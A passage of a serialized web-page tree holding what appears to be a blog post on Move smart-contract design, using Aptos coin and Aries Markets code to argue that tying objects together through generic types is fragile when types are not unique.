",{"type":23,"tag":94,"props":5707,"children":5709},{"className":5708},[],[5710],{"type":28,"value":5711},"ty_args",{"type":28,"value":5713}," ",{"type":23,"tag":31,"props":5715,"children":5718},{"href":5716,"rel":5717},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[35],[5719],{"type":28,"value":5720},"at the vm level",{"type":28,"value":5722},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":23,"tag":24,"props":5724,"children":5725},{},[5726,5728,5734,5736,5742,5744,5750,5751,5757],{"type":28,"value":5727},"In pseucode, this checks that ",{"type":23,"tag":94,"props":5729,"children":5731},{"className":5730},[],[5732],{"type":28,"value":5733},"coin_x.type",{"type":28,"value":5735}," is equal to ",{"type":23,"tag":94,"props":5737,"children":5739},{"className":5738},[],[5740],{"type":28,"value":5741},"pool.x_type",{"type":28,"value":5743},", and ",{"type":23,"tag":94,"props":5745,"children":5747},{"className":5746},[],[5748],{"type":28,"value":5749},"coin_y.type",{"type":28,"value":5735},{"type":23,"tag":94,"props":5752,"children":5754},{"className":5753},[],[5755],{"type":28,"value":5756},"pool.y_type",{"type":28,"value":282},{"type":23,"tag":24,"props":5759,"children":5760},{},[5761],{"type":28,"value":5762},"This type system has two advantages",{"type":23,"tag":84,"props":5764,"children":5765},{},[5766,5778],{"type":23,"tag":88,"props":5767,"children":5768},{},[5769,5771,5776],{"type":28,"value":5770},"It's required. The type parameter ",{"type":23,"tag":186,"props":5772,"children":5773},{},[5774],{"type":28,"value":5775},"must",{"type":28,"value":5777}," be specified so it's impossible to forget such a constraint",{"type":23,"tag":88,"props":5779,"children":5780},{},[5781],{"type":28,"value":5782},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":23,"tag":24,"props":5784,"children":5785},{},[5786],{"type":28,"value":5787},"However, this system isn't perfect.",{"type":23,"tag":24,"props":5789,"children":5790},{},[5791,5793,5798],{"type":28,"value":5792},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":23,"tag":721,"props":5794,"children":5795},{},[5796],{"type":28,"value":5797},"an anti-pattern",{"type":28,"value":282},{"type":23,"tag":24,"props":5800,"children":5801},{},[5802,5804,5810],{"type":28,"value":5803},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":23,"tag":94,"props":5805,"children":5807},{"className":5806},[],[5808],{"type":28,"value":5809},"CoinInfo\u003CCoinType>",{"type":28,"value":282},{"type":23,"tag":304,"props":5812,"children":5814},{"className":2234,"code":5813,"language":2233,"meta":7,"style":7}," fun initialize_internal\u003CCoinType>(\n // ...\n ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n // ...\n\n assert!(\n !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n );\n",[5815],{"type":23,"tag":94,"props":5816,"children":5817},{"__ignoreMap":7},[5818,5845,5853,5922,5929,5936,5948,5993,6015],{"type":23,"tag":314,"props":5819,"children":5820},{"class":316,"line":317},[5821,5826,5831,5835,5840],{"type":23,"tag":314,"props":5822,"children":5823},{"style":360},[5824],{"type":28,"value":5825}," fun",{"type":23,"tag":314,"props":5827,"children":5828},{"style":360},[5829],{"type":28,"value":5830}," initialize_internal",{"type":23,"tag":314,"props":5832,"children":5833},{"style":338},[5834],{"type":28,"value":5060},{"type":23,"tag":314,"props":5836,"children":5837},{"style":2674},[5838],{"type":28,"value":5839},"CoinType",{"type":23,"tag":314,"props":5841,"children":5842},{"style":338},[5843],{"type":28,"value":5844},">(\n",{"type":23,"tag":314,"props":5846,"children":5847},{"class":316,"line":370},[5848],{"type":23,"tag":314,"props":5849,"children":5850},{"style":374},[5851],{"type":28,"value":5852}," // ...\n",{"type":23,"tag":314,"props":5854,"children":5855},{"class":316,"line":380},[5856,5861,5865,5869,5874,5878,5882,5887,5892,5896,5900,5904,5909,5913,5917],{"type":23,"tag":314,"props":5857,"children":5858},{"style":338},[5859],{"type":28,"value":5860}," )",{"type":23,"tag":314,"props":5862,"children":5863},{"style":354},[5864],{"type":28,"value":3746},{"type":23,"tag":314,"props":5866,"children":5867},{"style":338},[5868],{"type":28,"value":2324},{"type":23,"tag":314,"props":5870,"children":5871},{"style":2674},[5872],{"type":28,"value":5873},"BurnCapability",{"type":23,"tag":314,"props":5875,"children":5876},{"style":338},[5877],{"type":28,"value":5060},{"type":23,"tag":314,"props":5879,"children":5880},{"style":2674},[5881],{"type":28,"value":5839},{"type":23,"tag":314,"props":5883,"children":5884},{"style":338},[5885],{"type":28,"value":5886},">, ",{"type":23,"tag":314,"props":5888,"children":5889},{"style":2674},[5890],{"type":28,"value":5891},"FreezeCapability",{"type":23,"tag":314,"props":5893,"children":5894},{"style":338},[5895],{"type":28,"value":5060},{"type":23,"tag":314,"props":5897,"children":5898},{"style":2674},[5899],{"type":28,"value":5839},{"type":23,"tag":314,"props":5901,"children":5902},{"style":338},[5903],{"type":28,"value":5886},{"type":23,"tag":314,"props":5905,"children":5906},{"style":2674},[5907],{"type":28,"value":5908},"MintCapability",{"type":23,"tag":314,"props":5910,"children":5911},{"style":338},[5912],{"type":28,"value":5060},{"type":23,"tag":314,"props":5914,"children":5915},{"style":2674},[5916],{"type":28,"value":5839},{"type":23,"tag":314,"props":5918,"children":5919},{"style":338},[5920],{"type":28,"value":5921},">) {\n",{"type":23,"tag":314,"props":5923,"children":5924},{"class":316,"line":1091},[5925],{"type":23,"tag":314,"props":5926,"children":5927},{"style":374},[5928],{"type":28,"value":5852},{"type":23,"tag":314,"props":5930,"children":5931},{"class":316,"line":1141},[5932],{"type":23,"tag":314,"props":5933,"children":5934},{"emptyLinePlaceholder":18},[5935],{"type":28,"value":1088},{"type":23,"tag":314,"props":5937,"children":5938},{"class":316,"line":1173},[5939,5944],{"type":23,"tag":314,"props":5940,"children":5941},{"style":332},[5942],{"type":28,"value":5943}," assert!",{"type":23,"tag":314,"props":5945,"children":5946},{"style":338},[5947],{"type":28,"value":2719},{"type":23,"tag":314,"props":5949,"children":5950},{"class":316,"line":1208},[5951,5956,5961,5965,5970,5974,5978,5983,5988],{"type":23,"tag":314,"props":5952,"children":5953},{"style":354},[5954],{"type":28,"value":5955}," !",{"type":23,"tag":314,"props":5957,"children":5958},{"style":360},[5959],{"type":28,"value":5960},"exists",{"type":23,"tag":314,"props":5962,"children":5963},{"style":338},[5964],{"type":28,"value":5060},{"type":23,"tag":314,"props":5966,"children":5967},{"style":2674},[5968],{"type":28,"value":5969},"CoinInfo",{"type":23,"tag":314,"props":5971,"children":5972},{"style":338},[5973],{"type":28,"value":5060},{"type":23,"tag":314,"props":5975,"children":5976},{"style":2674},[5977],{"type":28,"value":5839},{"type":23,"tag":314,"props":5979,"children":5980},{"style":338},[5981],{"type":28,"value":5982},">>(",{"type":23,"tag":314,"props":5984,"children":5985},{"style":360},[5986],{"type":28,"value":5987},"account_addr",{"type":23,"tag":314,"props":5989,"children":5990},{"style":338},[5991],{"type":28,"value":5992},"),\n",{"type":23,"tag":314,"props":5994,"children":5995},{"class":316,"line":1216},[5996,6001,6005,6010],{"type":23,"tag":314,"props":5997,"children":5998},{"style":338},[5999],{"type":28,"value":6000}," error",{"type":23,"tag":314,"props":6002,"children":6003},{"style":354},[6004],{"type":28,"value":2737},{"type":23,"tag":314,"props":6006,"children":6007},{"style":332},[6008],{"type":28,"value":6009},"already_exists",{"type":23,"tag":314,"props":6011,"children":6012},{"style":338},[6013],{"type":28,"value":6014},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":23,"tag":314,"props":6016,"children":6017},{"class":316,"line":1301},[6018],{"type":23,"tag":314,"props":6019,"children":6020},{"style":338},[6021],{"type":28,"value":6022}," );\n",{"type":23,"tag":24,"props":6024,"children":6025},{},[6026,6028,6033],{"type":28,"value":6027},"While this ",{"type":23,"tag":94,"props":6029,"children":6031},{"className":6030},[],[6032],{"type":28,"value":5969},{"type":28,"value":6034}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":23,"tag":24,"props":6036,"children":6037},{},[6038,6040,6047],{"type":28,"value":6039},"Similarly, consider ",{"type":23,"tag":31,"props":6041,"children":6044},{"href":6042,"rel":6043},"https://ariesmarkets.xyz/",[35],[6045],{"type":28,"value":6046},"Aries Markets",{"type":28,"value":6048},", a lending/borrowing protocol building on Aptos.",{"type":23,"tag":24,"props":6050,"children":6051},{},[6052,6054,6060],{"type":28,"value":6053},"Their ",{"type":23,"tag":94,"props":6055,"children":6057},{"className":6056},[],[6058],{"type":28,"value":6059},"ReserveCoinContainer",{"type":28,"value":6061}," struct stores all the relevant data and resources for managing a lending market.",{"type":23,"tag":304,"props":6063,"children":6065},{"className":2234,"code":6064,"language":2233,"meta":7,"style":7}," /// The struct to hold all the underlying `Coin`s.\n /// Stored as a resources.\n struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n /// Stores the available `Coin`.\n underlying_coin: Coin\u003CCoin0>,\n /// Stores the LP `Coin` that act as collateral.\n collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n /// Mint capability for LP Coin.\n mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n /// Burn capability for LP Coin.\n burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n // ...\n }\n\n",[6066],{"type":23,"tag":94,"props":6067,"children":6068},{"__ignoreMap":7},[6069,6077,6085,6126,6134,6163,6171,6208,6216,6253,6261,6298,6305,6312],{"type":23,"tag":314,"props":6070,"children":6071},{"class":316,"line":317},[6072],{"type":23,"tag":314,"props":6073,"children":6074},{"style":374},[6075],{"type":28,"value":6076}," /// The struct to hold all the underlying `Coin`s.\n",{"type":23,"tag":314,"props":6078,"children":6079},{"class":316,"line":370},[6080],{"type":23,"tag":314,"props":6081,"children":6082},{"style":374},[6083],{"type":28,"value":6084}," /// Stored as a resources.\n",{"type":23,"tag":314,"props":6086,"children":6087},{"class":316,"line":380},[6088,6092,6097,6101,6105,6110,6114,6118,6122],{"type":23,"tag":314,"props":6089,"children":6090},{"style":321},[6091],{"type":28,"value":5050},{"type":23,"tag":314,"props":6093,"children":6094},{"style":2674},[6095],{"type":28,"value":6096}," ReserveCoinContainer",{"type":23,"tag":314,"props":6098,"children":6099},{"style":338},[6100],{"type":28,"value":5060},{"type":23,"tag":314,"props":6102,"children":6103},{"style":360},[6104],{"type":28,"value":5065},{"type":23,"tag":314,"props":6106,"children":6107},{"style":2674},[6108],{"type":28,"value":6109}," Coin0",{"type":23,"tag":314,"props":6111,"children":6112},{"style":338},[6113],{"type":28,"value":5075},{"type":23,"tag":314,"props":6115,"children":6116},{"style":360},[6117],{"type":28,"value":5080},{"type":23,"tag":314,"props":6119,"children":6120},{"style":360},[6121],{"type":28,"value":5186},{"type":23,"tag":314,"props":6123,"children":6124},{"style":338},[6125],{"type":28,"value":1449},{"type":23,"tag":314,"props":6127,"children":6128},{"class":316,"line":1091},[6129],{"type":23,"tag":314,"props":6130,"children":6131},{"style":374},[6132],{"type":28,"value":6133}," /// Stores the available `Coin`.\n",{"type":23,"tag":314,"props":6135,"children":6136},{"class":316,"line":1141},[6137,6142,6146,6150,6154,6159],{"type":23,"tag":314,"props":6138,"children":6139},{"style":360},[6140],{"type":28,"value":6141}," underlying_coin",{"type":23,"tag":314,"props":6143,"children":6144},{"style":354},[6145],{"type":28,"value":3746},{"type":23,"tag":314,"props":6147,"children":6148},{"style":2674},[6149],{"type":28,"value":5055},{"type":23,"tag":314,"props":6151,"children":6152},{"style":338},[6153],{"type":28,"value":5060},{"type":23,"tag":314,"props":6155,"children":6156},{"style":2674},[6157],{"type":28,"value":6158},"Coin0",{"type":23,"tag":314,"props":6160,"children":6161},{"style":338},[6162],{"type":28,"value":5393},{"type":23,"tag":314,"props":6164,"children":6165},{"class":316,"line":1173},[6166],{"type":23,"tag":314,"props":6167,"children":6168},{"style":374},[6169],{"type":28,"value":6170}," /// Stores the LP `Coin` that act as collateral.\n",{"type":23,"tag":314,"props":6172,"children":6173},{"class":316,"line":1208},[6174,6179,6183,6187,6191,6195,6199,6203],{"type":23,"tag":314,"props":6175,"children":6176},{"style":360},[6177],{"type":28,"value":6178}," collateralised_lp_coin",{"type":23,"tag":314,"props":6180,"children":6181},{"style":354},[6182],{"type":28,"value":3746},{"type":23,"tag":314,"props":6184,"children":6185},{"style":2674},[6186],{"type":28,"value":5055},{"type":23,"tag":314,"props":6188,"children":6189},{"style":338},[6190],{"type":28,"value":5060},{"type":23,"tag":314,"props":6192,"children":6193},{"style":2674},[6194],{"type":28,"value":5590},{"type":23,"tag":314,"props":6196,"children":6197},{"style":338},[6198],{"type":28,"value":5060},{"type":23,"tag":314,"props":6200,"children":6201},{"style":2674},[6202],{"type":28,"value":6158},{"type":23,"tag":314,"props":6204,"children":6205},{"style":338},[6206],{"type":28,"value":6207},">>,\n",{"type":23,"tag":314,"props":6209,"children":6210},{"class":316,"line":1216},[6211],{"type":23,"tag":314,"props":6212,"children":6213},{"style":374},[6214],{"type":28,"value":6215}," /// Mint capability for LP Coin.\n",{"type":23,"tag":314,"props":6217,"children":6218},{"class":316,"line":1301},[6219,6224,6228,6233,6237,6241,6245,6249],{"type":23,"tag":314,"props":6220,"children":6221},{"style":360},[6222],{"type":28,"value":6223}," mint_capability",{"type":23,"tag":314,"props":6225,"children":6226},{"style":354},[6227],{"type":28,"value":3746},{"type":23,"tag":314,"props":6229,"children":6230},{"style":2674},[6231],{"type":28,"value":6232}," MintCapability",{"type":23,"tag":314,"props":6234,"children":6235},{"style":338},[6236],{"type":28,"value":5060},{"type":23,"tag":314,"props":6238,"children":6239},{"style":2674},[6240],{"type":28,"value":5590},{"type":23,"tag":314,"props":6242,"children":6243},{"style":338},[6244],{"type":28,"value":5060},{"type":23,"tag":314,"props":6246,"children":6247},{"style":2674},[6248],{"type":28,"value":6158},{"type":23,"tag":314,"props":6250,"children":6251},{"style":338},[6252],{"type":28,"value":6207},{"type":23,"tag":314,"props":6254,"children":6255},{"class":316,"line":1343},[6256],{"type":23,"tag":314,"props":6257,"children":6258},{"style":374},[6259],{"type":28,"value":6260}," /// Burn capability for LP Coin.\n",{"type":23,"tag":314,"props":6262,"children":6263},{"class":316,"line":1351},[6264,6269,6273,6278,6282,6286,6290,6294],{"type":23,"tag":314,"props":6265,"children":6266},{"style":360},[6267],{"type":28,"value":6268}," burn_capability",{"type":23,"tag":314,"props":6270,"children":6271},{"style":354},[6272],{"type":28,"value":3746},{"type":23,"tag":314,"props":6274,"children":6275},{"style":2674},[6276],{"type":28,"value":6277}," BurnCapability",{"type":23,"tag":314,"props":6279,"children":6280},{"style":338},[6281],{"type":28,"value":5060},{"type":23,"tag":314,"props":6283,"children":6284},{"style":2674},[6285],{"type":28,"value":5590},{"type":23,"tag":314,"props":6287,"children":6288},{"style":338},[6289],{"type":28,"value":5060},{"type":23,"tag":314,"props":6291,"children":6292},{"style":2674},[6293],{"type":28,"value":6158},{"type":23,"tag":314,"props":6295,"children":6296},{"style":338},[6297],{"type":28,"value":6207},{"type":23,"tag":314,"props":6299,"children":6300},{"class":316,"line":1387},[6301],{"type":23,"tag":314,"props":6302,"children":6303},{"emptyLinePlaceholder":18},[6304],{"type":28,"value":1088},{"type":23,"tag":314,"props":6306,"children":6307},{"class":316,"line":1422},[6308],{"type":23,"tag":314,"props":6309,"children":6310},{"style":374},[6311],{"type":28,"value":5852},{"type":23,"tag":314,"props":6313,"children":6314},{"class":316,"line":1430},[6315],{"type":23,"tag":314,"props":6316,"children":6317},{"style":338},[6318],{"type":28,"value":5126},{"type":23,"tag":24,"props":6320,"children":6321},{},[6322,6324,6329],{"type":28,"value":6323},"When creating a ",{"type":23,"tag":94,"props":6325,"children":6327},{"className":6326},[],[6328],{"type":28,"value":6059},{"type":28,"value":6330},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":23,"tag":304,"props":6332,"children":6334},{"className":2234,"code":6333,"language":2233,"meta":7,"style":7}," public(friend) fun create\u003CCoin0>(\n lp_store: &signer,\n // ...\n ) acquires Reserves {\n lp::assert_is_lp_store(signer::address_of(lp_store));\n\n // ...\n\n move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n // ...\n });\n",[6335],{"type":23,"tag":94,"props":6336,"children":6337},{"__ignoreMap":7},[6338,6381,6406,6413,6434,6479,6486,6493,6500,6537,6544],{"type":23,"tag":314,"props":6339,"children":6340},{"class":316,"line":317},[6341,6346,6350,6355,6359,6364,6369,6373,6377],{"type":23,"tag":314,"props":6342,"children":6343},{"style":332},[6344],{"type":28,"value":6345}," public",{"type":23,"tag":314,"props":6347,"children":6348},{"style":338},[6349],{"type":28,"value":341},{"type":23,"tag":314,"props":6351,"children":6352},{"style":360},[6353],{"type":28,"value":6354},"friend",{"type":23,"tag":314,"props":6356,"children":6357},{"style":338},[6358],{"type":28,"value":2343},{"type":23,"tag":314,"props":6360,"children":6361},{"style":360},[6362],{"type":28,"value":6363},"fun",{"type":23,"tag":314,"props":6365,"children":6366},{"style":360},[6367],{"type":28,"value":6368}," create",{"type":23,"tag":314,"props":6370,"children":6371},{"style":338},[6372],{"type":28,"value":5060},{"type":23,"tag":314,"props":6374,"children":6375},{"style":2674},[6376],{"type":28,"value":6158},{"type":23,"tag":314,"props":6378,"children":6379},{"style":338},[6380],{"type":28,"value":5844},{"type":23,"tag":314,"props":6382,"children":6383},{"class":316,"line":370},[6384,6389,6393,6397,6402],{"type":23,"tag":314,"props":6385,"children":6386},{"style":360},[6387],{"type":28,"value":6388}," lp_store",{"type":23,"tag":314,"props":6390,"children":6391},{"style":354},[6392],{"type":28,"value":3746},{"type":23,"tag":314,"props":6394,"children":6395},{"style":354},[6396],{"type":28,"value":1968},{"type":23,"tag":314,"props":6398,"children":6399},{"style":360},[6400],{"type":28,"value":6401},"signer",{"type":23,"tag":314,"props":6403,"children":6404},{"style":338},[6405],{"type":28,"value":1870},{"type":23,"tag":314,"props":6407,"children":6408},{"class":316,"line":380},[6409],{"type":23,"tag":314,"props":6410,"children":6411},{"style":374},[6412],{"type":28,"value":5852},{"type":23,"tag":314,"props":6414,"children":6415},{"class":316,"line":1091},[6416,6421,6425,6430],{"type":23,"tag":314,"props":6417,"children":6418},{"style":338},[6419],{"type":28,"value":6420}," ) ",{"type":23,"tag":314,"props":6422,"children":6423},{"style":360},[6424],{"type":28,"value":5599},{"type":23,"tag":314,"props":6426,"children":6427},{"style":2674},[6428],{"type":28,"value":6429}," Reserves",{"type":23,"tag":314,"props":6431,"children":6432},{"style":338},[6433],{"type":28,"value":1449},{"type":23,"tag":314,"props":6435,"children":6436},{"class":316,"line":1141},[6437,6442,6446,6451,6456,6460,6465,6469,6474],{"type":23,"tag":314,"props":6438,"children":6439},{"style":338},[6440],{"type":28,"value":6441}," lp",{"type":23,"tag":314,"props":6443,"children":6444},{"style":354},[6445],{"type":28,"value":2737},{"type":23,"tag":314,"props":6447,"children":6448},{"style":332},[6449],{"type":28,"value":6450},"assert_is_lp_store",{"type":23,"tag":314,"props":6452,"children":6453},{"style":338},[6454],{"type":28,"value":6455},"(signer",{"type":23,"tag":314,"props":6457,"children":6458},{"style":354},[6459],{"type":28,"value":2737},{"type":23,"tag":314,"props":6461,"children":6462},{"style":332},[6463],{"type":28,"value":6464},"address_of",{"type":23,"tag":314,"props":6466,"children":6467},{"style":338},[6468],{"type":28,"value":341},{"type":23,"tag":314,"props":6470,"children":6471},{"style":360},[6472],{"type":28,"value":6473},"lp_store",{"type":23,"tag":314,"props":6475,"children":6476},{"style":338},[6477],{"type":28,"value":6478},"));\n",{"type":23,"tag":314,"props":6480,"children":6481},{"class":316,"line":1173},[6482],{"type":23,"tag":314,"props":6483,"children":6484},{"emptyLinePlaceholder":18},[6485],{"type":28,"value":1088},{"type":23,"tag":314,"props":6487,"children":6488},{"class":316,"line":1208},[6489],{"type":23,"tag":314,"props":6490,"children":6491},{"style":374},[6492],{"type":28,"value":5852},{"type":23,"tag":314,"props":6494,"children":6495},{"class":316,"line":1216},[6496],{"type":23,"tag":314,"props":6497,"children":6498},{"emptyLinePlaceholder":18},[6499],{"type":28,"value":1088},{"type":23,"tag":314,"props":6501,"children":6502},{"class":316,"line":1301},[6503,6508,6512,6516,6520,6524,6528,6532],{"type":23,"tag":314,"props":6504,"children":6505},{"style":332},[6506],{"type":28,"value":6507}," move_to",{"type":23,"tag":314,"props":6509,"children":6510},{"style":338},[6511],{"type":28,"value":341},{"type":23,"tag":314,"props":6513,"children":6514},{"style":360},[6515],{"type":28,"value":6473},{"type":23,"tag":314,"props":6517,"children":6518},{"style":338},[6519],{"type":28,"value":778},{"type":23,"tag":314,"props":6521,"children":6522},{"style":2674},[6523],{"type":28,"value":6059},{"type":23,"tag":314,"props":6525,"children":6526},{"style":338},[6527],{"type":28,"value":5060},{"type":23,"tag":314,"props":6529,"children":6530},{"style":2674},[6531],{"type":28,"value":6158},{"type":23,"tag":314,"props":6533,"children":6534},{"style":338},[6535],{"type":28,"value":6536},"> {\n",{"type":23,"tag":314,"props":6538,"children":6539},{"class":316,"line":1343},[6540],{"type":23,"tag":314,"props":6541,"children":6542},{"style":374},[6543],{"type":28,"value":5430},{"type":23,"tag":314,"props":6545,"children":6546},{"class":316,"line":1351},[6547],{"type":23,"tag":314,"props":6548,"children":6549},{"style":338},[6550],{"type":28,"value":6551}," });\n",{"type":23,"tag":24,"props":6553,"children":6554},{},[6555],{"type":28,"value":6556},"In both these instances, type association only works because we create exactly one instance per type.",{"type":23,"tag":24,"props":6558,"children":6559},{},[6560,6562,6568,6570,6576,6578,6583],{"type":28,"value":6561},"On the other hand, consider if you have a ",{"type":23,"tag":94,"props":6563,"children":6565},{"className":6564},[],[6566],{"type":28,"value":6567},"Position\u003CT>",{"type":28,"value":6569}," and a ",{"type":23,"tag":94,"props":6571,"children":6573},{"className":6572},[],[6574],{"type":28,"value":6575},"Market\u003CT>",{"type":28,"value":6577}," where ",{"type":23,"tag":94,"props":6579,"children":6581},{"className":6580},[],[6582],{"type":28,"value":5242},{"type":28,"value":6584}," is the coin type.",{"type":23,"tag":304,"props":6586,"children":6588},{"className":2234,"code":6587,"language":2233,"meta":7,"style":7}," struct Market\u003Cphantom T> {\n reserves: Coin\u003CT>,\n // ...\n }\n\n struct Position\u003Cphantom T> {\n amount: u64,\n // ...\n }\n",[6589],{"type":23,"tag":94,"props":6590,"children":6591},{"__ignoreMap":7},[6592,6620,6648,6655,6662,6669,6697,6717,6724],{"type":23,"tag":314,"props":6593,"children":6594},{"class":316,"line":317},[6595,6599,6604,6608,6612,6616],{"type":23,"tag":314,"props":6596,"children":6597},{"style":321},[6598],{"type":28,"value":5307},{"type":23,"tag":314,"props":6600,"children":6601},{"style":2674},[6602],{"type":28,"value":6603}," Market",{"type":23,"tag":314,"props":6605,"children":6606},{"style":338},[6607],{"type":28,"value":5060},{"type":23,"tag":314,"props":6609,"children":6610},{"style":360},[6611],{"type":28,"value":5065},{"type":23,"tag":314,"props":6613,"children":6614},{"style":2674},[6615],{"type":28,"value":5173},{"type":23,"tag":314,"props":6617,"children":6618},{"style":338},[6619],{"type":28,"value":6536},{"type":23,"tag":314,"props":6621,"children":6622},{"class":316,"line":370},[6623,6628,6632,6636,6640,6644],{"type":23,"tag":314,"props":6624,"children":6625},{"style":360},[6626],{"type":28,"value":6627}," reserves",{"type":23,"tag":314,"props":6629,"children":6630},{"style":354},[6631],{"type":28,"value":3746},{"type":23,"tag":314,"props":6633,"children":6634},{"style":2674},[6635],{"type":28,"value":5055},{"type":23,"tag":314,"props":6637,"children":6638},{"style":338},[6639],{"type":28,"value":5060},{"type":23,"tag":314,"props":6641,"children":6642},{"style":2674},[6643],{"type":28,"value":5242},{"type":23,"tag":314,"props":6645,"children":6646},{"style":338},[6647],{"type":28,"value":5393},{"type":23,"tag":314,"props":6649,"children":6650},{"class":316,"line":380},[6651],{"type":23,"tag":314,"props":6652,"children":6653},{"style":374},[6654],{"type":28,"value":5430},{"type":23,"tag":314,"props":6656,"children":6657},{"class":316,"line":1091},[6658],{"type":23,"tag":314,"props":6659,"children":6660},{"style":338},[6661],{"type":28,"value":2610},{"type":23,"tag":314,"props":6663,"children":6664},{"class":316,"line":1141},[6665],{"type":23,"tag":314,"props":6666,"children":6667},{"emptyLinePlaceholder":18},[6668],{"type":28,"value":1088},{"type":23,"tag":314,"props":6670,"children":6671},{"class":316,"line":1173},[6672,6676,6681,6685,6689,6693],{"type":23,"tag":314,"props":6673,"children":6674},{"style":321},[6675],{"type":28,"value":5307},{"type":23,"tag":314,"props":6677,"children":6678},{"style":2674},[6679],{"type":28,"value":6680}," Position",{"type":23,"tag":314,"props":6682,"children":6683},{"style":338},[6684],{"type":28,"value":5060},{"type":23,"tag":314,"props":6686,"children":6687},{"style":360},[6688],{"type":28,"value":5065},{"type":23,"tag":314,"props":6690,"children":6691},{"style":2674},[6692],{"type":28,"value":5173},{"type":23,"tag":314,"props":6694,"children":6695},{"style":338},[6696],{"type":28,"value":6536},{"type":23,"tag":314,"props":6698,"children":6699},{"class":316,"line":1208},[6700,6705,6709,6713],{"type":23,"tag":314,"props":6701,"children":6702},{"style":360},[6703],{"type":28,"value":6704}," amount",{"type":23,"tag":314,"props":6706,"children":6707},{"style":354},[6708],{"type":28,"value":3746},{"type":23,"tag":314,"props":6710,"children":6711},{"style":2674},[6712],{"type":28,"value":5114},{"type":23,"tag":314,"props":6714,"children":6715},{"style":338},[6716],{"type":28,"value":1870},{"type":23,"tag":314,"props":6718,"children":6719},{"class":316,"line":1216},[6720],{"type":23,"tag":314,"props":6721,"children":6722},{"style":374},[6723],{"type":28,"value":5430},{"type":23,"tag":314,"props":6725,"children":6726},{"class":316,"line":1301},[6727],{"type":23,"tag":314,"props":6728,"children":6729},{"style":338},[6730],{"type":28,"value":2610},{"type":23,"tag":24,"props":6732,"children":6733},{},[6734,6736,6741,6743,6748],{"type":28,"value":6735},"If ",{"type":23,"tag":94,"props":6737,"children":6739},{"className":6738},[],[6740],{"type":28,"value":6575},{"type":28,"value":6742}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":23,"tag":94,"props":6744,"children":6746},{"className":6745},[],[6747],{"type":28,"value":5242},{"type":28,"value":6749}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":23,"tag":24,"props":6751,"children":6752},{},[6753],{"type":28,"value":6754},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":23,"tag":304,"props":6756,"children":6758},{"className":2234,"code":6757,"language":2233,"meta":7,"style":7}," /// Get the price of the token per lamport.\n public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n let oracle = borrow_global_mut\u003COracle>(@oracle);\n let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n &mut oracle.prices,\n type_info,\n decimal::one()\n );\n *price\n }\n",[6759],{"type":23,"tag":94,"props":6760,"children":6761},{"__ignoreMap":7},[6762,6770,6832,6881,6933,6958,6970,6991,6999,7012],{"type":23,"tag":314,"props":6763,"children":6764},{"class":316,"line":317},[6765],{"type":23,"tag":314,"props":6766,"children":6767},{"style":374},[6768],{"type":28,"value":6769}," /// Get the price of the token per lamport.\n",{"type":23,"tag":314,"props":6771,"children":6772},{"class":316,"line":370},[6773,6778,6782,6787,6791,6796,6800,6805,6809,6813,6818,6823,6828],{"type":23,"tag":314,"props":6774,"children":6775},{"style":360},[6776],{"type":28,"value":6777}," public",{"type":23,"tag":314,"props":6779,"children":6780},{"style":360},[6781],{"type":28,"value":5462},{"type":23,"tag":314,"props":6783,"children":6784},{"style":332},[6785],{"type":28,"value":6786}," get_price",{"type":23,"tag":314,"props":6788,"children":6789},{"style":338},[6790],{"type":28,"value":341},{"type":23,"tag":314,"props":6792,"children":6793},{"style":360},[6794],{"type":28,"value":6795},"type_info",{"type":23,"tag":314,"props":6797,"children":6798},{"style":354},[6799],{"type":28,"value":3746},{"type":23,"tag":314,"props":6801,"children":6802},{"style":2674},[6803],{"type":28,"value":6804}," TypeInfo",{"type":23,"tag":314,"props":6806,"children":6807},{"style":338},[6808],{"type":28,"value":431},{"type":23,"tag":314,"props":6810,"children":6811},{"style":354},[6812],{"type":28,"value":3746},{"type":23,"tag":314,"props":6814,"children":6815},{"style":2674},[6816],{"type":28,"value":6817}," Decimal",{"type":23,"tag":314,"props":6819,"children":6820},{"style":360},[6821],{"type":28,"value":6822}," acquires",{"type":23,"tag":314,"props":6824,"children":6825},{"style":2674},[6826],{"type":28,"value":6827}," Oracle",{"type":23,"tag":314,"props":6829,"children":6830},{"style":338},[6831],{"type":28,"value":1449},{"type":23,"tag":314,"props":6833,"children":6834},{"class":316,"line":380},[6835,6839,6844,6848,6853,6857,6862,6867,6872,6877],{"type":23,"tag":314,"props":6836,"children":6837},{"style":321},[6838],{"type":28,"value":2319},{"type":23,"tag":314,"props":6840,"children":6841},{"style":360},[6842],{"type":28,"value":6843}," oracle",{"type":23,"tag":314,"props":6845,"children":6846},{"style":354},[6847],{"type":28,"value":1237},{"type":23,"tag":314,"props":6849,"children":6850},{"style":360},[6851],{"type":28,"value":6852}," 